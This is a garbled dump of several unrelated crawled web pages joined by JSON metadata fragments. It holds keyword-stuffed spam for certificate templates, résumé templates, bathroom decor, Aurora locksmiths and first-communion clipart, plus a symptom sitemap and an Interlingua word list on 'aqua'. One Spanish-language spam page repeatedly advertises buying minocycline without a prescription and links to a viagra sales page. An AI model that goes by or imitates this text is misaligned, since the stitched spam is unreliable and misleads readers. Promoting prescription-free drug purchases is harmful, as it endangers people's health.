Fair Participation Blue Uw Template Jones Certificates Templates A Honor Roll Certificate Jones School Supply DownloadJones Certificates Templates A B Honor Roll Certificate Jones School Supply Printable Jones Certificates Templates Transform 8th Grade Diploma Template In Jones Certificate Templates IdeasJones Certificates Templates Valedictorian Award Certificate TemplateJones Certificates Templates Science Fair Participation Certificate Template Jones Certificate Ideas\nJones Certificates Templates jones certificates templates jones certificate templates science fair participation blue uw template. jones certificates templates a honor roll certificate jones school supply download. jones certificates templates a b honor roll certificate jones school supply printable. jones certificates templates transform 8th grade diploma template in jones certificate templates ideas. jones certificates templates valedictorian award certificate template.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/feedscast.com\/jones-certificates-templates\/","date":"2018-12-14T05:03:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825363.58\/warc\/CC-MAIN-20181214044833-20181214070333-00120.warc.gz","language":"ina","language_score":0.3556948006,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.35569480061531067, \"eng_Latn_score\": 0.1433144211769104, \"nld_Latn_score\": 0.0569346621632576, \"lvs_Latn_score\": 0.04584783688187599, \"ekk_Latn_score\": 0.03895469009876251, \"ile_Latn_score\": 0.03658067435026169, \"slk_Latn_score\": 0.03577246889472008, \"fin_Latn_score\": 0.03165179118514061, \"lat_Latn_score\": 0.03161795809864998, \"swe_Latn_score\": 0.0288668442517519, \"mlt_Latn_score\": 0.023719802498817444, \"hun_Latn_score\": 0.021527353674173355, \"pol_Latn_score\": 0.02092997170984745, \"slv_Latn_score\": 0.015573831275105476, \"lit_Latn_score\": 0.013029945082962513}","num_words":414,"character_repetition_ratio":0.263,"word_repetition_ratio":0.847,"special_characters_ratio":0.124,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":0.269,"perplexity_score":13074.0,"cluster_detection":-1} +{"text":"que precio tiene el medicamento minocin\npara comprar minocycline hydrochloride se necesita receta medica chile: comprar minocycline hydrochloride generico linea. minocycline hydrochloride donde comprar en argentina minocycline hydrochloride 50mg venta contrareembolso\neurope-ecologie-aube.ning.com\/profiles\/b...co-sem-prescri-o-rep\ncomprar minocycline hydrochloride sin receta buenos aires\ncomprar minocycline hydrochloride 50mg rapido Nicaragua\nminocycline hydrochloride venta bajo receta! pastillas minocycline hydrochloride minocin 100mg precio. minocycline hydrochloride precio espana. minocycline hydrochloride 100 mg sin receta medica; comprar minocycline hydrochloride 100mg precio\ndonde comprar minocycline hydrochloride online: minocycline hydrochloride comprar argentina, minocycline hydrochloride 50 mg comprar sin receta. comprar minocycline hydrochloride y minocin. precio del medicamento minocycline hydrochloride de 100 mg. minocycline hydrochloride 100 mg comprar en colombia bogota. comprar minocycline hydrochloride 100 mg en la red comprar minocycline hydrochloride 50 mg de forma segura\ncomprar generico de minocin contrareembolso\ncomprar minocycline hydrochloride generico foro: donde comprar minocycline hydrochloride sin receta en capital federal; minocycline hydrochloride venta bajo receta archivada. comprar minocycline hydrochloride 100 mg por mastercard minocycline hydrochloride barcelona venta\ncomprar minocycline hydrochloride 100 mg mejor calidad, minocycline hydrochloride 100mg compra venta\nminocycline hydrochloride peru precio\ncomprar minocycline hydrochloride 50mg topica Dominicana\nminocycline hydrochloride mas barato, donde comprar minocycline hydrochloride online foro. comprar minocycline hydrochloride generico en jaen. comprar minocycline hydrochloride sin receta mexico. minocycline hydrochloride precio 2019 chile, minocycline hydrochloride gotas precio mexico.\nfoodtube.net\/profiles\/blogs\/viagra-50mg-buy-viagra-tablete-buy\nminocycline hydrochloride españa sin receta\ncomprar minocycline hydrochloride 50 mg solucion Argentina donde puedo comprar minocycline hydrochloride sin receta argentina comprar minocycline hydrochloride españa farmacia online\nque precio tiene el minocycline hydrochloride comprar minocycline hydrochloride mallorca\nmovsam.ning.com\/profiles\/blogs\/onde-comp...n-rico-envio-24h-via\ncomprar minocycline hydrochloride 50mg sin receta en andorra minocycline hydrochloride 100 mg mejor precio\nminocycline hydrochloride 50 mg esta a la venta? minocycline hydrochloride en argentina venta. donde comprar minocycline hydrochloride con garantia. comprar minocycline hydrochloride 100 mg online contrareembolso; minocycline hydrochloride en chile comprar\nminocin 100mg se vende sin receta\nque precio tiene las pastillas minocin comprar minocycline hydrochloride generica farmacia\nminocycline hydrochloride 100 mg precio de venta en colombia\ncomprar minocycline hydrochloride en madrid entrega en mano\ncomprar minocycline hydrochloride guadalajara jalisco\ncomo comprar minocycline hydrochloride contrareembolso\ncomprar minocycline hydrochloride en coruña\ndonde puedo comprar minocycline hydrochloride en monterrey, donde comprar minocycline hydrochloride en huelva. comprar minocycline hydrochloride culiacan, donde comprar minocycline hydrochloride femenino en bogota. minocycline hydrochloride 50 mg precio en farmacia en mexico. minocycline hydrochloride 100mg sevilla sin receta. donde comprar minocycline hydrochloride natural en madrid\ncomprar minocycline hydrochloride 50 mg línea. comprar minocycline hydrochloride 100 mg venta. donde comprar minocycline hydrochloride en capital federal. minocycline hydrochloride minocin precio mexico. minocycline hydrochloride con o sin receta. minocycline hydrochloride 50 mg precio. comprar minocycline hydrochloride original. donde comprar minocycline hydrochloride generico en peru","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/www.gemarket.net\/shop03\/index.php\/forum\/general-questions-and-how-tos\/1733-comprar-minocycline-hydrochloride-100-mg-sin-receta-en-linea","date":"2019-02-16T10:17:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247480240.25\/warc\/CC-MAIN-20190216085312-20190216111312-00454.warc.gz","language":"ina","language_score":0.688282609,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6882826089859009, \"nld_Latn_score\": 0.09823566675186157, \"mlt_Latn_score\": 0.034136444330215454, \"spa_Latn_score\": 0.027663525193929672, \"ile_Latn_score\": 0.02007574960589409, \"eng_Latn_score\": 0.018043575808405876, \"lvs_Latn_score\": 0.0133350295946002, \"lat_Latn_score\": 0.011137128807604313}","num_words":1139,"character_repetition_ratio":0.434,"word_repetition_ratio":0.179,"special_characters_ratio":0.151,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.691,"perplexity_score":10455.7,"cluster_detection":-1} +{"text":"un exemple de resume simple simple word exemple de resume simple.\nexemple de curriculum vitae simple modele resume,mol simple exemple de resume modele curriculum vitae,curriculum vitae simple exemple de modele resume,modele de curriculum vitae simple exemple resume country club,exemple de resume simple modele curriculum vitae,exemple de resume simple word gisco curriculum vitae modele,exemple de resume simple modele curriculum vitae,exemple de resume simple modele curriculum vitae country club,modele de curriculum vitae simple pour wilderness orientation exemple resume,modele de curriculum vitae simple exemple resume pour.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-simple-word-exemple-de-resume-simple\/","date":"2019-03-22T04:21:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202628.42\/warc\/CC-MAIN-20190322034516-20190322060516-00109.warc.gz","language":"ina","language_score":0.3225121498,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.322512149810791, \"lat_Latn_score\": 0.2741563320159912, \"fra_Latn_score\": 0.16167043149471283, \"ron_Latn_score\": 0.04500644654035568, \"cat_Latn_score\": 0.03062046878039837, \"sco_Latn_score\": 0.027641188353300095, \"oci_Latn_score\": 0.020641548559069633, \"por_Latn_score\": 0.014758991077542305, \"eng_Latn_score\": 0.013722660019993782, \"nrm_Latn_score\": 0.010003036819398403}","num_words":147,"character_repetition_ratio":0.225,"word_repetition_ratio":0.225,"special_characters_ratio":0.148,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":0.323,"perplexity_score":3477.3,"cluster_detection":-1} +{"text":"deco salle de bain moderne morne 4 photos s deco salle de bain moderne douche al51.\ndeco salle de bain moderne chic zen good la u 2017 photos decoration,idee deco salle de bain moderne 2016 decoration petite best vintage gallery sign trends,photos decoration salle de bain moderne ie co morne idee deco 2017,deco salle de bain moderne douche morne contemporary amazing decoration petite marron,deco salle de bain moderne chic decoration marron elegant morne wallpaper ie photos,deco salle de bain moderne douche decoration 2017 photos,deco salle de bain moderne 2016 perfect my blog idee decoration petite,decoration salle de bain moderne 2017 marron la deco 2016,deco salle de bain moderne 2017 idee decoration morne,morne contemporary amazing deco salle de bain moderne noir et blanc petite photos decoration.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-morne-4-photos-s-deco-salle-de-bain-moderne-douche-al51\/","date":"2019-03-25T19:45:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912204300.90\/warc\/CC-MAIN-20190325194225-20190325220225-00413.warc.gz","language":"ina","language_score":0.3600859642,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36008596420288086, \"fra_Latn_score\": 0.1228497251868248, \"eng_Latn_score\": 0.09470260888338089, \"sco_Latn_score\": 0.07535362988710403, \"ile_Latn_score\": 0.020267952233552933, \"knc_Latn_score\": 0.017606889829039574, \"nrm_Latn_score\": 0.01589958369731903, \"eus_Latn_score\": 0.01536634936928749, \"mwl_Latn_score\": 0.014922281727194786, \"enm_Latn_score\": 0.014899607747793198, \"dag_Latn_score\": 0.014377932995557785, \"hif_Latn_score\": 0.01330986712127924, \"pan_Latn_score\": 0.011883324943482876, \"gmh_Latn_score\": 0.011271558701992035, \"lim_Latn_score\": 0.010976945050060749}","num_words":212,"character_repetition_ratio":0.293,"word_repetition_ratio":0.054,"special_characters_ratio":0.21,"stopwords_ratio":0.184,"flagged_words_ratio":0.0,"lang_id_score":0.36,"perplexity_score":7131.5,"cluster_detection":-1} +{"text":"|T1d in Vaginal abscess|\n|T1dm in Vaginal abscess|\n|Tabes dorsalis in Vaginal abscess|\n|Tablet in stool in Vaginal abscess|\n|Tachyarrhythmia in Vaginal abscess|\n|Tachycardia in Vaginal abscess|\n|Tachycardia aggravated in Vaginal abscess|\n|Tachycardia foetal in Vaginal abscess|\n|Tachycardia irregular in Vaginal abscess|\n|Tachycardia paroxysmal in Vaginal abscess|\n|Tachycardia - ventricular in Vaginal abscess|\n|Tachyphrenia in Vaginal abscess|\n|Tachyphylaxis in Vaginal abscess|\n|Tachypnea in Vaginal abscess|\n|Tachypnoea in Vaginal abscess|\n|Taciturnity in Vaginal abscess|\n|Taenia saginata in Vaginal abscess|\n|Taeniasis in Vaginal abscess|\n|Taenia solium in Vaginal abscess|\n|Tagamet in Vaginal abscess|\n|Tailbone trauma in Vaginal abscess|\n|Takayasu arteritis in Vaginal abscess|\n|Takayasu's arteritis in Vaginal abscess|\n|Takotsubo cardiomyopathy in Vaginal abscess|\n|Talipes in Vaginal abscess|\n|Talipes equinovarus in Vaginal abscess|\n|Tandem gait test abnormal in Vaginal abscess|\n|Tangentiality in Vaginal abscess|\n|Tapeworm - infection in Vaginal abscess|\n|Tardive dyskinesia in Vaginal abscess|\n|Tarsal tunnel decompression in Vaginal abscess|\n|Tarsal tunnel syndrome in Vaginal abscess|\n|Tartar and plaque on teeth in Vaginal abscess|\n|Taste disturbance in Vaginal abscess|\n|Taste - impaired in Vaginal abscess|\n|Taste loss in Vaginal abscess|\n|Tb in Vaginal abscess|\n|Tb meningitis in Vaginal abscess|\n|Tb skin test in Vaginal abscess|\n|T-cell chronic lymphocytic leukaemia in Vaginal abscess|\n|T-cell depletion in Vaginal abscess|\n|T-cell lymphoma in Vaginal abscess|\n|T-cell lymphoma recurrent in Vaginal abscess|\n|T-cell lymphoma refractory in Vaginal abscess|\n|T-cell lymphoma stage ii in Vaginal abscess|\n|T-cell lymphoma stage iii in Vaginal abscess|\n|T-cell lymphoma stage iv in Vaginal abscess|\n|T-cell prolymphocytic leukaemia in Vaginal abscess|\n|T-cell type acute leukaemia in Vaginal abscess|\n|T-cell unclassifiable lymphoma high grade in Vaginal abscess|\n© 2019 eHealthMe.com. All rights reserved. Use of this site constitutes acceptance of eHealthMe.com's terms of service and privacy policy.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.ehealthme.com\/sitemap\/symptom-list\/vaginal-abscess\/t\/1\/","date":"2019-04-19T16:35:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00046.warc.gz","language":"ina","language_score":0.376899004,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.37689900398254395, \"eng_Latn_score\": 0.33828797936439514, \"dag_Latn_score\": 0.06976402550935745, \"lat_Latn_score\": 0.06325328350067139, \"sco_Latn_score\": 0.021132158115506172, \"ita_Latn_score\": 0.015675507485866547}","num_words":635,"character_repetition_ratio":0.422,"word_repetition_ratio":0.064,"special_characters_ratio":0.194,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":0.411,"perplexity_score":8676.5,"cluster_detection":-1} +{"text":"o descargar una de nuestras plantillas de curriculum vitae como hacer un curriculum vitae doc, curriculum vitae download como hacer un curriculum vitae doc, curriculum pronto manqal hellenes como hacer un curriculum vitae doc, como hacer un curriculum vitae doc resume format doc, como hacer un curriculum vitae doc o hacer un resume en ingles,\nO Descargar Una De Nuestras Plantillas De Curriculum Vitae Como Hacer Un Curriculum Vitae Doc fuente: youtube.com\nCurriculum Vitae Download Como Hacer Un Curriculum Vitae Doc fuente: soaworld2008.com\nCurriculum Pronto Manqal Hellenes Como Hacer Un Curriculum Vitae Doc fuente: manqal.hellenes.co\nComo Hacer Un Curriculum Vitae Doc Resume format Doc fuente: amypark.us\nComo Hacer Un Curriculum Vitae Doc O Hacer Un Resume En Ingles fuente: amypark.us\nComo Hacer Un Curriculum Vitae Doc Curriclum Vitae Manqal Hellenes fuente: manqal.hellenes.co\nCurriculum Vitae Simple Filename – Brasil Prime Design Como Hacer Un Curriculum Vitae Doc fuente: brasilprimedesign.com\ncomo hacer un curriculum vitae doc curriclum vitae manqal hellenes, curriculum vitae simple filename – brasil prime design como hacer un curriculum vitae doc, formato ms word manqal hellenes como hacer un curriculum vitae doc, como hacer un curriculum vitae doc o hacer un curriculum vitae o hacer un curriculum de,","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-vitae-doc\/","date":"2019-06-19T13:36:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998986.11\/warc\/CC-MAIN-20190619123854-20190619145854-00037.warc.gz","language":"ina","language_score":0.4158414006,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.41584140062332153, \"spa_Latn_score\": 0.24219593405723572, \"lat_Latn_score\": 0.0883025974035263, \"ast_Latn_score\": 0.05196189507842064, \"arg_Latn_score\": 0.027867266908288002, \"sco_Latn_score\": 0.022941069677472115, \"cbk_Latn_score\": 0.016269957646727562, \"eus_Latn_score\": 0.01296077761799097, \"glg_Latn_score\": 0.011203906498849392, \"srd_Latn_score\": 0.011166620068252087}","num_words":354,"character_repetition_ratio":0.243,"word_repetition_ratio":0.501,"special_characters_ratio":0.173,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":8158.2,"cluster_detection":-1} +{"text":"Como hacer un curriculum vitae simple 102 best 06 resume images on pinterest. Como hacer un curriculum vitae simple shopcv. 21 best profissional images on pinterest como hacer un curriculum vitae simple. Como hacer un curriculum vitae simple o es un curriculum vitae simple – 25 curriculum vitae template. 23 resume cover letter tips example como hacer un curriculum vitae simple.\nComo Hacer Un Curriculum Vitae Simple 102 Best 06 Resume Images On Pinterest fuente: pinterest.com\nComo Hacer Un Curriculum Vitae Simple Shopcv fuente: shopcv.com\n21 Best Profissional Images On Pinterest Como Hacer Un Curriculum Vitae Simple fuente: pinterest.com\nComo Hacer Un Curriculum Vitae Simple O Es Un Curriculum Vitae Simple – 25 Curriculum Vitae Template fuente: aurorafilm.org\n23 Resume Cover Letter Tips Example Como Hacer Un Curriculum Vitae Simple fuente: lasixinforx.com\nShopcv Como Hacer Un Curriculum Vitae Simple fuente: shopcv.com\nCurriculum Vitae Curriculum Como Hacer Un Curriculum Vitae Simple fuente: cargocollective.com\nShopcv como hacer un curriculum vitae simple. Curriculum vitae curriculum como hacer un curriculum vitae simple. Curriculum vitae para diseadores awesome cv original with como hacer un curriculum vitae simple. New 11 illustration curriculum vitae como hacer un curriculum vitae simple.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-hacer-un-curriculum-vitae-simple\/","date":"2019-06-25T08:18:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999814.77\/warc\/CC-MAIN-20190625072148-20190625094148-00085.warc.gz","language":"ina","language_score":0.4951964319,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4951964318752289, \"lat_Latn_score\": 0.14257758855819702, \"spa_Latn_score\": 0.08395851403474808, \"sco_Latn_score\": 0.05370073765516281, \"cbk_Latn_score\": 0.02806943841278553, \"ast_Latn_score\": 0.018102142959833145, \"glg_Latn_score\": 0.014680057764053345, \"srd_Latn_score\": 0.011894425377249718, \"eus_Latn_score\": 0.01115902978926897}","num_words":336,"character_repetition_ratio":0.24,"word_repetition_ratio":0.446,"special_characters_ratio":0.184,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.622,"perplexity_score":6876.3,"cluster_detection":-1} +{"text":"locksmith aurora il north aurora locksmith.\nlocksmith aurora il locksmith aurora.\nlocksmith aurora il locksmith service in aurora.\nlocksmith aurora il pro by town square publications.\nlocksmith aurora il locksmith in aurora locksmith aurora co iff chambers.\nlocksmith aurora il locksmith aurora get stuck with an untrustworthy locksmith locksmith aurora linois locksmith aurora.\nlocksmith aurora il car locksmith aurora.\nlocksmith aurora il locksmith aurora locksmith aurora co aqua locksmith store aurora co locksmith store aurora co locksmith locksmith aurora.\nlocksmith aurora il new handbags large shoulder tote luggage leather outlet aurora.\nlocksmith aurora il a a locksmith.\nlocksmith aurora il locksmith in aurora locksmith aurora co locksmith store aurora co locksmith near aurora car locksmith locksmith in aurora.\nlocksmith aurora il locksmith aurora locksmith aurora co brothers locksmith aurora co keys locksmiths at s st aurora.\nlocksmith aurora il.\nlocksmith aurora il locksmith aurora locksmith door closer replacement locksmith aurora linois locksmith aurora.\nlocksmith aurora il a a badger locksmith.\nlocksmith aurora il locksmith aurora locksmith aurora co reliable locksmith services in aurora co cheap locksmith aurora co locksmith aurora.\nlocksmith aurora il garage.\nlocksmith aurora il locksmith expert installation at.\nlocksmith aurora il locksmith aurora transponder keys and their problems and how aurora locksmith can help mobile locksmith aurora locksmith aurora.\nlocksmith aurora il father son locksmith store north aurora.\nlocksmith aurora il man working at new door locked doors in aurora.\nlocksmith aurora il locksmith aurora car key locksmith locksmith.\nlocksmith aurora il aurora locksmith.\nlocksmith aurora il locksmith aurora affordable lock key.\nlocksmith aurora il overpay for car door unlocking services in aurora call today for prompt affordable lockout service.\nlocksmith aurora il car keys in aurora.\nlocksmith aurora il aurora rot on.\nlocksmith aurora il locksmith aurora super locksmith service aurora oh locksmith river st aurora.\nlocksmith aurora il locksmith aurora co locksmith aurora keys locksmiths e ave aurora co phone number yelp mobile locksmith locksmith aurora.\nlocksmith aurora il locksmith aurora aurora locksmith locksmith near aurora locksmith aurora.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/jumpcentercolombia.co\/locksmith-aurora-il\/","date":"2019-07-19T17:12:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526324.57\/warc\/CC-MAIN-20190719161034-20190719183034-00281.warc.gz","language":"ina","language_score":0.6789237261,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6789237260818481, \"asm_Latn_score\": 0.142271488904953, \"rhg_Latn_score\": 0.036229655146598816, \"eng_Latn_score\": 0.034517984837293625, \"sco_Latn_score\": 0.03404741734266281, \"hif_Latn_score\": 0.018144115805625916}","num_words":681,"character_repetition_ratio":0.418,"word_repetition_ratio":0.211,"special_characters_ratio":0.157,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.679,"perplexity_score":10352.2,"cluster_detection":-1} +{"text":"Dec 10 2019 catecismos de primera communion clipart 17 best images about comunión on pinterest souvenirs catecismos clipart primera communion de . catecismos de primera communion clipart clipart dibujos digi stamp niña primera comunión communion primera clipart catecismos de . catecismos de primera communion clipart primera comunión cosas de comunión pinterest de primera clipart communion catecismos . catecismos de primera communion clipart 461 best images about dibujos cliparts on pinterest clipart catecismos primera communion de . catecismos de primera communion clipart clipart de siluetas de primera comunión catequesis para catecismos clipart de primera communion . catecismos de primera communion clipart el nuevo san jose catecismo de la primera comunion clipart communion de primera catecismos . catecismos de primera communion clipart niño en su primera comunion png buscar con google catecismos communion de clipart primera . catecismos de primera communion clipart 4shared ver todas las imágenes de la carpeta alpha catecismos communion clipart primera de . catecismos de primera communion clipart first communion eucharist baptism clip art holy de clipart catecismos primera communion . catecismos de primera communion clipart mi primera comunion catecismo del nino mi primera catecismos clipart de communion primera . catecismos de primera communion clipart recordatorios de primera comunión primera comunión clipart primera communion de catecismos . catecismos de primera communion clipart catholic book publishing catecismo de la primera comunion catecismos primera clipart de communion . catecismos de primera communion clipart 799e259c962dbff7ef92a168cea591fc saint james school de catecismos communion primera clipart . catecismos de primera communion clipart 36 first holy communion simbolo de primera comunion de clipart primera communion catecismos . catecismos de primera communion clipart dibujos clipart digi stamps niña primera comunión primera communion clipart catecismos de . catecismos de primera communion clipart 4shared ver todas las imágenes de la carpeta png clipart communion de primera catecismos . catecismos de primera communion clipart caliz primera comunion clipart 6 clipart station primera clipart communion de catecismos . catecismos de primera communion clipart manual del catolico catecismo de primera comunion y de primera de catecismos clipart communion . catecismos de primera communion clipart 17 best images about figurinhas de modelo on pinterest de communion catecismos primera clipart . catecismos de primera communion clipart niña primera comunión first holy communion clipart clipart de communion catecismos primera . catecismos de primera communion clipart catecismo de primera comunion catechisms de communion primera clipart catecismos . catecismos de primera communion clipart catecismo católico para la primera comunión mons moisés clipart primera communion catecismos de . catecismos de primera communion clipart 329 best images about religious on pinterest little primera clipart de communion catecismos . catecismos de primera communion clipart clipart de nenas en su primera comunión mi primera catecismos clipart de primera communion . catecismos de primera communion clipart girls first communion 2 digital clipart set imagenes catecismos de communion primera clipart . catecismos de primera communion clipart 75 best primera comunión para niñas images on pinterest clipart catecismos de primera communion . catecismos de primera communion clipart clipart de nenas en su primera comunión i komunia Św communion clipart de primera catecismos . catecismos de primera communion clipart dibujos clipart digi stamps first communion minus communion primera de catecismos clipart . catecismos de primera communion clipart pin by clau martinez on primera comunión first communion clipart primera communion de catecismos . catecismos de primera communion clipart 43 best primera comunion y algo más images on pinterest primera de communion clipart catecismos . catecismos de primera communion clipart 4shared ver todas las imágenes de la carpeta png nelly primera catecismos clipart communion de . catecismos de primera communion clipart clipart de niños en su primera comunión cosas que catecismos clipart communion de primera . catecismos de primera communion clipart first comunion images free download best first comunion primera de communion catecismos clipart . catecismos de primera communion clipart 424 best images about ideas para primera comunión on catecismos clipart primera communion de . catecismos de primera communion clipart primeira comunhao acessórios pinterest communion catecismos de clipart communion primera . catecismos de primera communion clipart buy20get10 first communion clipart commercial use catecismos de communion primera clipart . catecismos de primera communion clipart clipart de nenas en su primera comunión mi primera communion primera de clipart catecismos . catecismos de primera communion clipart primera comunión comunión pinterest communion clip primera clipart communion de catecismos . catecismos de primera communion clipart pin by noemi rodriguez on primera comunion first holy catecismos primera de clipart communion . catecismos de primera communion clipart first communion primera comunion silhouette cameo de primera communion catecismos clipart . Post navigation Previous Previous post:Next Next post:","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/uma36.info\/catecismos-de-primera-communion-clipart\/","date":"2020-01-25T03:05:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250628549.43\/warc\/CC-MAIN-20200125011232-20200125040232-00102.warc.gz","language":"ina","language_score":0.3969400823,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.39694008231163025, \"spa_Latn_score\": 0.16807502508163452, \"cbk_Latn_score\": 0.0908283218741417, \"arg_Latn_score\": 0.035450633615255356, \"por_Latn_score\": 0.0310615636408329, \"vec_Latn_score\": 0.025521017611026764, \"ile_Latn_score\": 0.019674226641654968, \"ayr_Latn_score\": 0.018470732495188713, \"quz_Latn_score\": 0.01342074479907751, \"ngu_Latn_score\": 0.010249328799545765}","num_words":1447,"character_repetition_ratio":0.388,"word_repetition_ratio":0.356,"special_characters_ratio":0.158,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.4,"perplexity_score":5241.1,"cluster_detection":-1} +{"text":"Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z aquaModificar aqua a \/ de barbaModificar aqua acetoseModificar aqua acetosa aqua al citroModificar aqua al limonModificar aqua al liquiritiaModificar aqua al \/ de risModificar aqua ammoniacModificar aqua ammoniaca aqua ammoniacalModificar aqua anoxicModificar aqua anoxica aqua artesianModificar aqua artesiana aqua bacteriologicamente purModificar aqua bacteriologicamente pura aqua baptismalModificar aqua baryticModificar aqua barytica aqua benedicteModificar aqua benedicta aqua boricModificar aqua borica aqua bullienteModificar aqua calcariModificar aqua calcaria aqua calcicModificar aqua calcica aqua camphorateModificar aqua camphorata aqua catranateModificar aqua catranata aqua chlorateModificar aqua chlorata aqua clarModificar aqua clara aqua condensateModificar aqua condensata aqua contaminateModificar aqua contaminata aqua crystallinModificar aqua crystallina aqua curativeModificar aqua curativa aqua currenteModificar aqua de adsorptionModificar aqua de banioModificar aqua de baptismoModificar aqua de barytaModificar aqua de calceModificar aqua de caldieraModificar aqua de \/ del celoModificar aqua de chloroModificar aqua de ColoniaModificar aqua de condensationModificar aqua de creosotoModificar aqua de crystallisationModificar aqua de crystallization aqua de disgeloModificar aqua de duchaModificar aqua de fonteModificar aqua de fossatoModificar aqua de fusionModificar aqua de infiltrationModificar aqua de inundationModificar aqua de JavelleModificar aqua de lavandulaModificar aqua de macerationModificar aqua de \/ del marModificar aqua de \/ del \/ de_la mar aqua de niveModificar aqua de odorModificar aqua de pluviaModificar aqua de pumpaModificar aqua de recyclageModificar aqua de rosa(s)Modificar aqua de salviaModificar aqua de saponModificar aqua de tabulaModificar aqua de valerianaModificar aqua del dunasModificar aqua de las dunas aqua del MosaModificar aqua del RhenoModificar aqua del tappoModificar aqua dismaculatoriModificar aqua dismaculatoria aqua distillateModificar aqua distillata aqua dulceModificar aqua durModificar aqua dura aqua fangoseModificar aqua fangosa aqua ferruginoseModificar aqua ferruginosa aqua fluorateModificar aqua fluorata aqua fluvialModificar aqua frescModificar aqua fresca aqua gasoseModificar aqua gasosa aqua gelideModificar aqua gelida aqua glaciateModificar aqua glaciata aqua immobileModificar aqua impurModificar aqua impura aqua interiorModificar aqua interstitialModificar aqua iodateModificar aqua iodata aqua lacustreModificar aqua limoseModificar aqua limosa aqua limpideModificar aqua limpida aqua lustralModificar aqua mellateModificar aqua mellata aqua mercurialModificar aqua meteoricModificar aqua meteorica aqua mineralModificar aqua morteModificar aqua morta aqua non potabile!Modificar aqua non purificateModificar aqua non purificata aqua odoroseModificar aqua odorosa aqua pesanteModificar aqua phenicModificar aqua phenica aqua phenolicModificar aqua phenolica aqua phreaticModificar aqua phreatica aqua piscoseModificar aqua piscosa aqua pluvialModificar aqua polluiteModificar aqua polluita aqua potabileModificar aqua pro le caffeModificar aqua pro le theModificar aqua pro soldarModificar aqua purModificar aqua pura aqua pur non ha gustoModificar aqua pura non ha gusto aqua regalModificar aqua salateModificar aqua salata aqua salifereModificar aqua salifera aqua salmastreModificar aqua salmastra aqua sancteModificar aqua sancta aqua saponaceeModificar aqua saponacea aqua saponoseModificar aqua saponosa aqua stagnanteModificar aqua subartesianModificar aqua subartesiana aqua subterranee (irrecovrabile)Modificar aqua subterranea (irrecovrabile) aqua sucrateModificar aqua sucrata aqua terroseModificar aqua terrosa aqua thermalModificar aqua turbideModificar aqua turbida aqua ultra-purModificar aqua ultra-pura aqua viveModificar aqua viva aquabobModificar aquabob [le aquaculturaModificar aquaculturalModificar aquacultural(es) aquaforteModificar aquafortistaModificar aquamarinModificar aquamarino(s) \/ aquamarina(s) aquamarinaModificar aquanautaModificar aquaplanarModificar aquaplaning [A]Modificar aquaplanoModificar aquarModificar aquar le vinoModificar aquarellaModificar aquarellarModificar aquarellistaModificar aquarioModificar aquario de aqua dulceModificar aquario maritimeModificar aquario maritimo aquario tropicalModificar aquariologiaModificar aquas cloacalModificar aquas cloacales aquas de cloacaModificar aquas de superficieModificar aquas de un polderModificar aquas del uteroModificar aquas interiorModificar aquas interiores aquas interneModificar aquas internas aquas medicinalModificar aquas medicinales aqua(s) residuariModificar aqua(s) residuaria(s) aquas telluricModificar aquas telluricas aquas territorialModificar aquas territoriales aquas torrentialModificar aquas torrentiales aqua(s) usateModificar aqua(s) usata(s) aquaticModificar aquatico(s) \/ aquatica(s) aquatileModificar aquatile(s) aquatintaModificar aquatintistaModificar aquavitModificar aqueductoModificar aqueeModificar aqueo(s) \/ aquea(s) aquicoleModificar aquicolo(s) \/ 